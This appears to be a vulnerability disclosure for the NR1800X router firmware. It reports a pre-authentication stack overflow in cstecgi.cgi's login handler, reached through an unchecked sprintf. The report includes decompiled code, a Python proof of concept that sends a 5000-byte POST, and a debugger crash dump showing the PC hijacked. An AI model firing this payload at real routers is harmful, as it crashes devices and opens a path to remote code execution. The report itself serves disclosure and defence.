

# NR1800X - bof - main (pre-authentication)

Hi, we found a **pre-authentication** stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279\_B20210910), and contact you at the first time.

```
49 | v8 = (const char *)malloc(v7);
50 | memset(v8, 0, v7);
51 | fread(v8, 1, v7, stdin);
52 | if ( !v3 )
53 |     goto LABEL_15;
54 | if ( strstr(v3, "action=login") )
55 | {
56 |     if ( strstr(v3, "flag=ie8") )
57 |     {
58 |         v32 = strstr(v3, "verify=error");
59 |         v33 = (const char *)getenv("http_host");
60 |         sprintf(
61 |             v35,
62 |             "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=ie8&verify=%d\"}",
63 |             v8,
64 |             v33,
65 |             v32 != 0);
66 |         v12 = v35;
67 |     }
68 |     else
69 |     {
70 |         v9 = strstr(v3, "flag=1");
71 |         v10 = strstr(v3, "verify=error") != 0;
72 |         v11 = (const char *)getenv("http_host");
73 |         if ( v9 )
74 |             sprintf(v35, "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1&verify=%d\"}", v8, v11, v10);
75 |         else
76 |             sprintf(v35, "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&verify=%d\"}", v8, v11, v10);
```

In main function, the length of post data is not checked. If the query string is specified as `/cgi-bin/cstecgi.cgi?action=login&flag=ie8`, one can send a very long post data to overflow the stack buffer via `sprintf`.

## PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi?
action=login&flag=ie8" cookie = {"Cookie":"uid=1234"} data =
"username="+ "a"*5000 response = requests.post(url, cookies=cookie, data=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.  
0x61616161 in ?? ()

LEGEND: **STACK** | **HEAP** | **CODE** | **DATA** | **RWX** | **RODATA**

```
V0  0x0
V1  0x1
A0  0x1
A1  0x1
A2  0x1
A3  0x0
T0  0x77035998 ← 0x6c5f5f00
T1  0x77030738 ← nop
T2  0x31
T3  0xffffffff
T4  0xf0000000
T5  0x1
T6  0x400
T7  0x42f7e0 (main+1984) ← move    $v0, $zero
T8  0x39
T9  0x770cf0b8 ← lui      $gp, 2
S0  0x61616161 ('aaaa')
S1  0x61616161 ('aaaa')
S2  0x61616161 ('aaaa')
```